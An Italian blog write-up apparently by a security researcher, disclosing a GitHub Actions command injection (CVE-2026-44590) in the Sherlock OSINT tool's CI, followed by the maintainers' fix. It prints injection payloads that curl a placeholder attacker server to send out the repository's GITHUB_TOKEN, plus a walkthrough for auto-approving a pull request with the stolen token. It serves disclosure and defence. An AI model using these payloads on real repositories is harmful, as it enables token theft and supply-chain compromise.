Sherlock è uno di quei tool che chiunque si occupi di OSINT ha usato almeno una volta. Inserisci uno username e lui va a controllare se quell’identità esiste su oltre 400 social network e piattaforme di registrazione. È diretto, veloce, scritto in Python, e ha una community enorme: al momento in cui scrivo, il repository ufficiale conta circa 83.000 stelle su GitHub e centinaia di contributor.

Per dare un’idea del raggio di blast in caso di compromissione, ho raccolto qualche metrica pubblica al momento di scrivere questo articolo:
- GitHub, da
gh api repos/sherlock-project/sherlock: 82.964 stelle, 9.677 fork, 1.289 watcher, repository attivo dal 2018. - PyPI, da pypistats.org: 321.609 download del pacchetto
sherlock-projectnei sei mesi tracciati (Nov 2025 → Mag 2026), con una media recente di ~2.600 download al giorno e un trend in forte crescita (Dic 2025 ~39k/mese → Apr 2026 ~81k/mese, +108% in quattro mesi).
Lo avevo usato in passato per attività di ricognizione su username durante penetration test. L’altro giorno mi è capitato di rimetterci mano e, prima di lanciarlo, ho fatto qualcosa che faccio spesso con i tool che uso spesso: ho aperto il sorgente. Quando un progetto ha tanta visibilità e tanti contributor esterni, spesso la superficie d’attacco interessante non è nel codice applicativo ma nella supply chain: dipendenze, pipeline CI/CD, automazioni che gestiscono PR e release. È esattamente lì che ho trovato la vulnerabilità che ora vi racconto.
Cos’è Sherlock
Sherlock è un tool open-source distribuito su PyPI come sherlock-project. La sua logica è semplice: legge un file data.json con la mappatura di centinaia di siti (URL, pattern di response, formato dello username) e per ciascuno controlla in parallelo se l’username fornito risulta registrato. È utlizzatissimo tra i tool di OSINT e viene spesso insegnato nei corsi introduttivi all’argomento.
Il fatto che il database dei siti sia centralizzato in un singolo file JSON crea una superficie interessante: ogni nuovo sito che la community vuole supportare passa attraverso una pull request che modifica data.json. Per validare automaticamente queste modifiche, i maintainer hanno costruito una pipeline CI che esegue test sui siti aggiunti o modificati. È in quella pipeline che ho trovato il bug.
Punto di partenza: i workflow
Quando faccio code review per questa classe di vulnerabilità, la prima cosa che guardo non è src/ o lib/. È .github/workflows/. È il primo posto dove cercare perché:
- I workflow GitHub Actions girano con accesso ai secret del repository
- Le pipeline CI vengono eseguite automaticamente in risposta a eventi controllati dall’esterno (PR, issue, comment)
- Storicamente sono il punto debole più sfruttato negli ultimi due anni di supply chain attack
L’incidente di trivy-action (l’action ufficiale dello scanner Aqua Security per la sicurezza dei container) di febbraio 2026 è un esempio quasi didattico: un attaccante ha aperto una PR da un fork verso il repo aquasecurity/trivy-action, il workflow pull_request_target ha fatto checkout del codice della PR e lo ha eseguito in contesto privilegiato, esfiltrando un PAT del maintainer. Da lì l’attaccante ha sovrascritto 75 release tag dell’action, iniettando codice che rubava secret in tutte le pipeline CI dei progetti che usavano trivy-action. Trivy è installato in migliaia di organizzazioni, l’esposizione è stata massiva (CrowdStrike writeup, Socket writeup).
Stessa dinamica con tj-actions/changed-files (CVE-2025-30066) e reviewdog/action-setup (CVE-2025-30154) di marzo 2025: una catena partita da un workflow pull_request_target vulnerabile su un repository periferico ha esfiltrato il PAT di un maintainer, da lì un payload base64-encoded è stato pushato su tutti i tag di versione di tj-actions/changed-files (un’action usata da oltre 23.000 repository), iniettando uno step che dumpava la memoria del runner GitHub nei log Actions pubblici. Il target iniziale dell’operazione era Coinbase. CISA ha emesso un alert dedicato (CISA advisory).
Più recentemente la stessa classe di bug ha colpito timescale/pgai (GHSA-89qq-hgvp-x37m, maggio 2025) e progetti GoogleCloudPlatform analizzati da Orca Security.
GitHub stessa, in un blog post pubblicato nel luglio 2025, ha messo nero su bianco che la workflow injection è “una delle vulnerabilità più comuni nei progetti ospitati su GitHub” e che, secondo l’Octoverse 2024/2025, le vulnerabilità di tipo injection sono al primo posto tra le categorie OWASP rilevate da CodeQL su tutta la piattaforma. Il post identifica esplicitamente pull_request_target come trigger “sostanzialmente più pericoloso” di pull_request perché rilassa le restrizioni di permessi e accesso ai secret applicate normalmente alle PR provenienti da fork.
Sapere che questa classe di bug esiste e averla vista più volte negli ultimi due anni rende la code review veloce: si apre la cartella dei workflow, si cercano i trigger pull_request_target, e per ciascuno si guarda se ci sono interpolazioni ${{ ... }} di campi controllabili dall’attaccante dentro blocchi run: o env: referenziati da blocchi run:.
Perché pull_request_target è pericoloso
In GitHub Actions ci sono due trigger principali per le pull request:
pull_request: il workflow gira nel contesto del fork dell’attaccante, con permessi minimi e senza accesso ai secret. Se la PR contiene codice malevolo, gira in sandbox isolata. Sicuro per default.pull_request_target: il workflow gira nel contesto del repository di destinazione, con permessi pieni e accesso completo ai secret. Esiste perché serve per casi d’uso legittimi (commentare PR da fork con un bot, applicare label automaticamente, validare contributi che richiedono di accedere ai secret di test).
Il problema è che il workflow pull_request_target non deve mai eseguire codice fornito dall’attaccante né interpolare campi controllati dall’attaccante in posizioni che diventano shell. Se interpola ${{ github.event.pull_request.title }} (controllabile dall’attaccante) dentro un run: (eseguito da bash), l’espressione viene espansa prima che la shell parsi il comando. Una PR con titolo "; curl evil.com/x; # diventa codice shell che viene eseguito con i secret del repo di destinazione.
Tornando a Sherlock.
Il finding
Nel repository di Sherlock c’è il workflow .github/workflows/validate_modified_targets.yml. Si attiva su pull_request_target, esegue uno script Python che legge le chiavi modificate in sherlock_project/resources/data.json, e usa quei valori in un comando di test:
on:
pull_request_target:
permissions:
contents: read
pull-requests: write
jobs:
validate-modified-targets:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- id: discover-modified
run: |
# script Python che produce le chiavi JSON modificate
# output: changed_targets="key1 key2 key3"
- name: Validate
run: |
poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
--chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}"
Il valore ${{ steps.discover-modified.outputs.changed_targets }} è una concatenazione delle chiavi del JSON contenuto nel branch della PR. Le chiavi sono completamente controllate dall’attaccante: chiunque può aprire una PR che aggiunge una chiave qualsiasi a data.json. La chiave finisce, senza alcun escape, dentro un blocco run: eseguito da bash.
Per chi non avesse seguito la sezione precedente: questa è una command injection da manuale. Una chiave del tipo:
TestSite"; curl https://attacker.com/?secret=$TOKEN; echo "
produce a runtime il comando:
poetry run pytest ... --chunked-sites "TestSite"; curl https://attacker.com/?secret=$TOKEN; echo ""
E gira nel contesto del repository di destinazione, con pull-requests: write e accesso ai secret del workflow.
Il trigger pull_request_target non richiede review né merge: il workflow parte automaticamente alla creazione della PR, anche da un account anonimo creato cinque minuti prima. Nessuna interazione umana richiesta.
Building the PoC: scelte etiche
Qui c’è una scelta importante da fare. Il modo più diretto per dimostrare la vulnerabilità sarebbe stato: aprire una PR sul repository ufficiale di Sherlock con il payload malevolo, aspettare che il workflow venisse eseguito, raccogliere il risultato. Tre minuti di lavoro.
Non l’ho fatto, e per un motivo molto semplice.
Una pull request su un repository pubblico è visibile a chiunque. Il diff resta indicizzato anche dopo la chiusura. I log dei workflow GitHub Actions sono accessibili via web. Se avessi aperto una PR con un payload di command injection sul repo ufficiale, avrei pubblicato di fatto un exploit funzionante prima ancora di aver dato ai maintainer la possibilità di vederlo. Chiunque, in attesa che la fix venisse rilasciata, avrebbe potuto copiare il payload e replicare l’attacco.
Questa è la differenza, secondo me, tra fare security research seriamente e lanciare tool a occhi chiusi: pensare al blast radius di ogni azione prima di compierla. Una PoC pubblica su un repository attivo equivale a una full disclosure. Esiste un motivo per cui le security advisory sono in privato e c’è una finestra di disclosure, per dare al progetto il tempo di proteggersi prima che il mondo sappia come bucarli.
Ho riprodotto la vulnerabilità su un mio fork, con una pull request da un branch all’altro dello stesso fork. Stesso comportamento del workflow, zero impatto sul repository ufficiale, zero esposizione pubblica.
Il primo tentativo non ha funzionato
Il payload che ho usato inizialmente era ovvio:
TestSite"; curl https://my-oast.fun/exfil?token=$GITHUB_TOKEN; echo "
Ho aperto la PR sul mio fork, il workflow è partito, ho ricevuto la callback OAST. Ma il parametro token era vuoto:
GET /exfil?token= HTTP/2.0
Il comando aveva girato, l’iniezione funzionava, ma $GITHUB_TOKEN non c’era. Quando ho approfondito ho capito perché.
GITHUB_TOKEN non è una variabile d’ambiente disponibile di default nelle shell dei runner. È un secret di GitHub Actions, accessibile solo nelle espressioni ${{ secrets.GITHUB_TOKEN }} o, esplicitamente, quando un workflow lo dichiara nel blocco env: di uno step:
- name: Some step
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: echo $GITHUB_TOKEN
Nel workflow di Sherlock non c’era questa dichiarazione. Quindi $GITHUB_TOKEN era effettivamente vuoto quando il payload veniva eseguito. Buona pratica dei maintainer (anche se non sufficiente, vedremo dopo).
A questo punto la domanda è stata: il GITHUB_TOKEN è davvero irraggiungibile, o è solo nascosto da qualche parte? La risposta è la seconda, e il dove è interessante.
Il git credential helper
Il workflow eseguiva actions/checkout@v4 per scaricare il codice della PR. Quando actions/checkout clona un repository, di default configura il git credential helper del runner per autenticare i comandi git successivi (push, pull, fetch). Lo fa salvando il token in un header HTTP di autorizzazione direttamente nel .git/config del repository:
[http "https://github.com/"]
extraheader = AUTHORIZATION: basic <base64-encoded-token>
Il token è codificato in base64 nella forma x-access-token:ghs_XXXXXXXXX. È salvato in chiaro su disco, nella working directory del workflow.
Il payload aggiornato è diventato:
TestSite"; git config --list | curl -X POST -d @- https://my-oast.fun/gitconfig; echo "
Apre la PR. Il workflow parte. Pochi secondi dopo, callback POST sull’OAST con il dump completo di git config --list, incluso l’header http.https://github.com/.extraheader=AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzXzExWFhYWFhYWFhYWFhY....
Decodificato:
x-access-token:ghs_11ZXXXXXXXXXXXXXXX...
GITHUB_TOKEN valido. Estratto da una PR aperta da un account anonimo, senza interazione umana, in meno di un minuto.
La PoC step-by-step
La PoC completa, autoconsistente e automatizzata è disponibile su github.com/Astaruf/CVE-2026-44590. Il repository contiene poc.py, uno script Python che esegue l’intera catena d’attacco end-to-end (fork, abilitazione setting, payload injection, apertura PR, polling OAST, decodifica del token, auto-approval della PR via API GitHub) e produce un verdetto finale VULNERABILITY CONFIRMED o FIX VERIFIED. Include anche un flag --vulnerable che fa il rollback del fork al commit pre-fix per riprodurre lo scenario originale.
Per chi vuole replicare l’attacco manualmente o capirne il flusso, ecco il walkthrough completo. Tutti gli step sono stati eseguiti su un mio fork personale di sherlock-project/sherlock, mai sul repository ufficiale.
Step 1: Fork e setup
Si parte dal fork del repository tramite l’interfaccia GitHub (https://github.com/sherlock-project/sherlock → Fork).

Clone in locale:
git clone https://github.com/<YOUR_USERNAME>/sherlock.git sherlock-poc
cd sherlock-poc

I workflow su un fork sono disabilitati di default per ragioni di sicurezza, vanno abilitati esplicitamente andando su https://github.com/<YOUR_USERNAME>/sherlock/actions e cliccando “I understand my workflows, go ahead and enable them”.

Step 2: Branch malevolo e payload
In un attacco reale, l’attaccante lavorerebbe sul proprio fork e aprirebbe una cross-fork PR contro il repository upstream. Qui simulo tutto all’interno del mio fork per evitare ogni esposizione pubblica.
git checkout -b malicious-pr

Modifico sherlock_project/resources/data.json aggiungendo una chiave costruita per spezzare le virgolette del comando shell. Il payload usa il pattern git config --list | curl ... per esfiltrare il GITHUB_TOKEN dal git credential helper, e include uno sleep 180 per tenere vivo il workflow abbastanza a lungo da poter usare il token prima che scada:
"TestSite\"; git config --list | curl -X POST -d @- https://<ATTACKER_SERVER>/exfil; sleep 180; echo \"": {
"errorType": "status_code",
"url": "https://example.com/{}",
"urlMain": "https://example.com/",
"username_claimed": "test"
}

Commit e push:
git add sherlock_project/resources/data.json
git commit -m "Add new site: TestSite"
git push origin malicious-pr

Step 3: Apertura della PR
Vado su https://github.com/<YOUR_USERNAME>/sherlock/compare/master...malicious-pr e creo la PR. Importante: il base repository deve puntare al mio fork, non a sherlock-project/sherlock. In un attacco reale, l’attaccante punterebbe direttamente a sherlock-project/sherlock:master.

Step 4: Callback OAST
Il workflow validate_modified_targets.yml parte automaticamente, senza alcun intervento umano. Pochi secondi dopo, sull’OAST arriva una POST con il dump completo di git config --list:
POST /exfil HTTP/2.0
Host: <ATTACKER_SERVER>
User-Agent: curl/8.5.0
...http.https://github.com/.extraheader=AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzX1hYWFhYWFhYWFhYWA==...

Conferma di RCE sul runner CI e di esfiltrazione del GITHUB_TOKEN, senza alcuna interazione umana.
Step 5: Uso del token per auto-approvare la PR
Il GITHUB_TOKEN ricevuto eredita le permissions definite nel workflow. In validate_modified_targets.yml:
permissions:
contents: read
pull-requests: write
Con pull-requests: write il token può fare review e approvare pull request via API. Decodifico il valore base64 dell’header AUTHORIZATION: basic:
echo "<BASE64_VALUE>" | base64 -d

Ottengo una stringa nella forma x-access-token:ghs_XXXXXXXXX.... Mentre il workflow è ancora in esecuzione (lo sleep 180 nel payload garantisce la finestra temporale), uso il token per approvare la PR via GitHub API:
curl -X POST \
-H "Authorization: token <GITHUB_TOKEN>" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/<OWNER>/sherlock/pulls/<PR_NUMBER>/reviews \
-d '{"event":"APPROVE","body":"All checks passed. LGTM!"}'

La response contiene "state": "APPROVED". Sulla pagina della PR la review appare come postata da github-actions[bot] con il messaggio “All checks passed. LGTM!”, indistinguibile da una legittima automazione CI.
![PR auto-approvata da github-actions[bot]](/it/posts/sherlock-rce-pull-request-target-cve-2026-44590/11.png)
Da qui in poi dipende dalle branch protection rules del repo. In Sherlock, la PR #2824 (verificata pubblicamente) è stata mergiata in master con zero review umane, quindi non c’è un requisito hard di review minima. Un’auto-approvazione può portare a un merge se il maintainer la considera valida.
Impatto reale: cosa potrebbe fare un attaccante
Quello dimostrato sopra è il primitivo: RCE sul runner, GITHUB_TOKEN esfiltrato, PR auto-approvata. Ma il valore vero di una vulnerabilità non si misura nel primitivo, si misura in cosa l’attaccante può fare a partire da lì. Provo a tracciare i vettori realistici, in ordine di gravità crescente.
Vettore 1: ingegneria sociale → merge → supply chain via PyPI
Lo scenario più probabile. L’attaccante apre una PR apparentemente legittima (“Add new site: Telegram Premium” o simile) in cui include due cose:
- Il payload di command injection nascosto in una chiave del
data.json - Una modifica “innocua” altrove nel codice (una nuova feature, un fix minore)
Il workflow vulnerabile esegue il payload, esfiltra il GITHUB_TOKEN, auto-approva la PR. Il maintainer apre la PR e vede:
- Titolo plausibile
- Approvata da
github-actions[bot](sembra un’approval CI legittima) - Tutti i check verdi (l’attaccante può forzare success con
exit 0nel payload) - Diff che a colpo d’occhio sembra normale (chi guarda con sospetto una chiave-stringa di
data.json?)
Il maintainer clicca “Merge”. Sappiamo che la PR #2824 in sherlock è stata mergiata con zero review umane, quindi non esiste una mandatory review rule che blocchi questa traiettoria.
Una volta che il codice è su master:
- Sherlock è distribuito su PyPI come
sherlock-project. È installato in centinaia di migliaia di laboratori OSINT, usato in CTF, in corsi universitari, in penetration test reali. La prossima release pubblicata distribuisce il codice malevolo a tutti gli utenti che fannopip install --upgrade sherlock-project. - Sherlock ha 83.000 stelle e centinaia di contributor: il raggio di blast è paragonabile, in proporzione, a quello di trivy-action.
Vettore 2: pivoting su workflow privilegiati
Una volta che codice malevolo è su master, l’attaccante non è più limitato al GITHUB_TOKEN del workflow vulnerabile (che ha solo contents: read e pull-requests: write). Ha accesso al superset di tutti i secret usati da tutti i workflow del repo.
Nel caso di Sherlock, il workflow update-site-list.yml triggera su push a master e contiene SSH_DEPLOY_KEY e API_TOKEN_GITHUB, secret della pipeline di pubblicazione del sito statico. Un attaccante con codice merged può modificare quel workflow (o aggiungerne un altro) per esfiltrare questi secret di valore molto più alto del GITHUB_TOKEN iniziale, e da lì compromettere il sito web del progetto, l’account di deploy, eventuali altri repository raggiungibili con quei token.
Vettore 3: persistenza
Con codice in master, l’attaccante può modificare i workflow per dargli accesso permanente: aggiungere chiavi SSH al deploy, riscrivere release tag già pubblicati, inserire una seconda backdoor in un file diverso dal payload originale (così che la rimozione della prima PR malevola non ripulisca l’infezione). La pulizia post-incidente di un repository compromesso a questo livello è molto più costosa della singola PR malevola da revertare.
Vettore 4: abuso del runner anche senza merge
Anche senza arrivare al merge, durante la finestra di RCE (alcuni minuti) l’attaccante può:
- Avvelenare le cache CI (
actions/cache): inserire artefatti corrotti che verranno serviti ai run successivi del workflow legittimo - Modificare file generati dal workflow prima che vengano committati o postati come commento (es. un eventuale
validation_summary.mdche un altro step pubblica come review) - Generare commenti o review fake sulla PR firmati da
github-actions[bot], sfruttando il fatto che la sua identità ispira fiducia
Perché questa è una “supply chain compromise” e non solo una “RCE in CI”
L’impatto non è limitato all’host GitHub. Si propaga a valle verso:
- Gli utenti finali del pacchetto PyPI
sherlock-project(potenzialmente centinaia di migliaia di laptop dove gira sherlock) - L’infrastruttura del progetto (sito web, deploy keys, account social)
- Le organizzazioni downstream che usano sherlock in pipeline automatizzate (CTF platform, security training environment, tool OSINT integrato in framework più grandi)
Lo scenario non è teorico. È esattamente quello che è successo con trivy-action (febbraio 2026) e tj-actions/changed-files (CVE-2025-30066, marzo 2025). La sequenza è sempre la stessa:
- Workflow
pull_request_targetcon interpolazione di input non fidato - Esfiltrazione di un token con permessi di scrittura
- Push di codice malevolo nel repository
- Distribuzione del codice via release/tag/package manager
- Migliaia di sistemi downstream compromessi
Uno dei mantainer di Sherlock, nel commento di chiusura dell’advisory, l’ha sintetizzato in una riga: “Thank you for reporting this, you prevented a supply chain attack.” Non era un’iperbole, era esattamente la traiettoria possibile.
Responsible disclosure
Ho aperto una GitHub Security Advisory privata sul repository di Sherlock l’11 aprile 2026, allegando la PoC completa, i payload, gli screenshot delle callback OAST, e una proposta di fix.
Per le prime tre settimane non ho ricevuto risposta. Capita: i progetti open-source maintained da volontari hanno tempi loro, e Sherlock non fa eccezione. Il 30 aprile, dopo aver atteso un periodo ragionevole, ho deciso di contattare direttamente due dei maintainer su LinkedIn, spiegando brevemente la situazione e chiedendo se potevano dare un’occhiata all’advisory aperta.
La risposta è arrivata in poche ore. Entrambi i maintainer si sono mostrati cordiali, sinceramente preoccupati, e hanno preso in carico la segnalazione immediatamente. Uno dei due, occupato in altre attività, ha girato la cosa al collega che ha pushato la fix lo stesso giorno. L’altro, una volta vista l’advisory, ha confermato la vulnerabilità e ha rilasciato il fix entro 24 ore.
Una cosa che mi ha colpito positivamente: nessuno dei due ha mai dato l’impressione di considerare il finding come un’imbarazzante critica al loro lavoro. Lavorano nel mondo della cybersecurity, conoscono il valore della security research, hanno capito immediatamente l’impatto e mi hanno ringraziato nei commenti dell’advisory. Hanno richiesto loro stessi una CVE da assegnare al finding per renderlo pubblicamente tracciabile. Hanno gestito anche i dettagli di packaging in modo intelligente: il maintainer ha cambiato il pacchetto affetto da “pip” a “Repository CI” nell’advisory, per evitare che la vulnerabilità (che non riguarda il pacchetto installato dagli utenti finali ma la pipeline CI) facesse scattare allarmi spuri sulle dashboard di vulnerability scanning di chi monitora PyPI.
A sorpresa, uno dei due maintainer ha anche trovato il link al mio buymeacoffee e ha mandato una piccola ricompensa economica come ringraziamento. In un progetto open-source senza budget né bug bounty program ufficiale, il fatto che un maintainer tiri fuori qualcosa di tasca propria per dire grazie è il tipo di gesto che racconta meglio di qualsiasi commento la serietà e la professionalità con cui questi ragazzi gestiscono il loro progetto. Sono rimasto sinceramente colpito.
È stato, nel suo piccolo, un esempio di come la responsible disclosure può funzionare bene anche in un progetto open-source senza un security team dedicato.
Timeline
- 2026-04-11: GitHub Security Advisory privata aperta su
sherlock-project/sherlock - 2026-04-30: contatto diretto a due maintainer via LinkedIn
- 2026-05-02: presa in carico, fix pushata in giornata
- 2026-05-07: CVE-2026-44590 assegnata
- 2026-05-07: advisory pubblicata
La fix
La fix applicata dai maintainer non si limita a chiudere il singolo punto di injection, ma implementa quattro difese indipendenti, ciascuna delle quali, da sola, sarebbe sufficiente a bloccare l’attacco. È un esempio molto pulito di defense in depth applicata a un workflow CI.
1. Trigger ristretto via paths: e branches:
on:
pull_request_target:
branches:
- master
paths:
- "sherlock_project/resources/data.json"
Il workflow si attiva solo per PR verso master che modificano effettivamente data.json. Riduce drasticamente la superficie: qualsiasi PR che non tocca data.json non triggera nemmeno il workflow vulnerabile. È una mitigazione superficiale (l’attaccante deve modificare data.json per sfruttare il bug, ma è esattamente quello che fa il payload), serve principalmente a ridurre rumore e attack surface generale.
2. persist-credentials: false sul checkout
- name: Checkout repository
uses: actions/checkout@v5
with:
ref: ${{ github.base_ref }}
fetch-depth: 0
persist-credentials: false
Questa è la difesa più importante contro l’esfiltrazione del token. Senza persist-credentials: false, actions/checkout salva il GITHUB_TOKEN dentro .git/config come header HTTP di autorizzazione (è il meccanismo che ho usato per estrarlo nella PoC). Con questa opzione, il token non finisce mai sul disco. Anche se in futuro un’altra interpolazione introduce una RCE altrove nel workflow, l’attaccante non avrà più git config --list come canale di esfiltrazione.
3. Schema validation step (defense in depth indipendente dalla fix)
Tra lo step Discover modified targets e quello che eseguiva la command injection, i maintainer eseguono ora una validazione JSON schema sui nuovi target prima di passarli a pytest:
- name: Validate remote manifest against local schema
if: steps.discover-modified.outputs.changed_targets != ''
run: |
poetry run pytest tests/test_manifest.py::test_validate_manifest_against_local_schema
Questo step esisteva nel repo da ottobre 2025, ben prima della fix di command injection di maggio 2026, e non era stato pensato per la sicurezza ma per la qualità del manifest. Funziona però come barriera: il payload originale dell’advisory (“TestSite\”; …; echo \"") veniva rifiutato qui per additionalProperties: false o per mancanza di errorMsg nel branch corretto dello schema. Per arrivare allo step vulnerabile bisogna costruire una chiave malformata abbastanza in shell ma valida secondo lo JSON schema, riducendo ulteriormente la fattibilità di varianti future del payload.
4. Il fix vero: input non fidato passato via env: con quoting
La modifica chirurgica che chiude la command injection in modo definitivo:
Pre-fix:
- name: Validate modified targets
run: |
poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
--chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}"
Post-fix:
- name: Validate modified targets
env:
CHANGED_TARGETS: ${{ steps.discover-modified.outputs.changed_targets }}
run: |
poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
--chunked-sites "$CHANGED_TARGETS" \
--junitxml=validation_results.xml
La differenza tecnica è netta: ${{ ... }} viene espanso da GitHub Actions prima che bash veda il comando, quindi l’input dell’attaccante diventa parte del codice shell. Con env: invece il valore arriva a bash come variabile d’ambiente, e "$CHANGED_TARGETS" quotato viene trattato come singola stringa argomento di pytest, indipendentemente dal contenuto. La command injection diventa impossibile perché il payload non può mai diventare codice shell, è sempre dato.
L’effetto combinato
Questi quattro layer agiscono in modo indipendente:
- Il filtro
paths:riduce la superficie - Lo schema validation blocca payload malformati prima ancora che tocchino lo step di interpolazione
- Il pattern
env:+ quoting rende impossibile l’injection nello step di pytest persist-credentials: falserende il GITHUB_TOKEN non estraibile anche se per qualche motivo l’injection fosse di nuovo possibile
Per bypassare la fix, un attaccante dovrebbe rompere tutti e quattro contemporaneamente: trovare un altro entry-point con pull_request_target (oltre il filtro paths:), scrivere un payload sintatticamente valido secondo lo JSON schema (oltre la schema validation), trovare un’altra interpolazione vulnerabile in un altro step (oltre il pattern env:), e infine identificare un canale alternativo per estrarre il token diverso da git config --list (oltre persist-credentials: false). È esattamente quello che dovrebbe essere una buona fix per una vulnerabilità di questa categoria.
Lessons learned
Per i developer
I trigger
pull_request_targetesistono per un motivo legittimo, ma vanno trattati come superficie d’attacco di alto valore. La regola pratica: zero interpolazione di campi controllabili dall’attaccante (titolo PR, branch name, body, label, contenuto dei file della PR) dentro blocchirun:. Sempre passaggio viaenv:con quoting delle variabili shell.Se un workflow
pull_request_targetesegueactions/checkoute non ha bisogno delle credenziali per push, aggiungetepersist-credentials: false. Costa zero, elimina un intero vettore di attacco.Le permissions del workflow vanno scritte esplicitamente e ridotte al minimo necessario.
pull-requests: writenon sembra granché finché non realizzate che permette l’auto-approval di PR malevole.Esistono linter dedicati (CodeQL Actions taint tracking, actionlint, zizmor) che trovano questi pattern automaticamente. Vanno integrati in CI prima che diventino una CVE.
Per chi fa security research
Quando analizzate un progetto popolare, partite da
.github/workflows/. È il punto a più alto rapporto impatto/sforzo nella maggior parte dei casi. La superficie applicativa di un OSINT tool è interessante, ma una RCE nel CI/CD vale dieci XSS reflected nell’interfaccia utente.Conoscere il funzionamento interno di
actions/checkoute dove salva il token è la differenza tra “ho una RCE nel CI” e “ho il GITHUB_TOKEN del repository”. Vale la pena leggere il codice sorgente di queste action, sono brevi e ben documentate.Pensate al blast radius prima di aprire una PR pubblica con il vostro PoC. Una PR è disclosure pubblica de facto. Riprodurre tutto su un proprio fork costa pochi minuti e rispetta la finestra di disclosure responsabile.
Quando un advisory resta ferma per settimane, contattare direttamente i maintainer su LinkedIn o via email è perfettamente accettabile. La maggior parte dei maintainer apprezza essere informata, non sono trolling né pressioni indebite. La disclosure è collaborazione.
Riferimenti
- CVE-2026-44590
- GitHub Security Advisory (GHSA)
- Repository ufficiale Sherlock
- GitHub Blog: How to catch GitHub Actions workflow injections before attackers do
- GitHub Security Lab: Preventing pwn requests
- CrowdStrike: from scanner to stealer, inside the trivy-action supply chain compromise
- Socket: Trivy under attack again, GitHub Actions compromise
- CISA: tj-actions/changed-files supply chain compromise (CVE-2025-30066)
- Unit42: GitHub Actions supply chain attack on Coinbase
- GHSA-89qq-hgvp-x37m: timescale/pgai pull_request_target vulnerability
- Orca Security: pull request nightmare part 2
- CWE-77: Improper Neutralization of Special Elements used in a Command
- CWE-78: OS Command Injection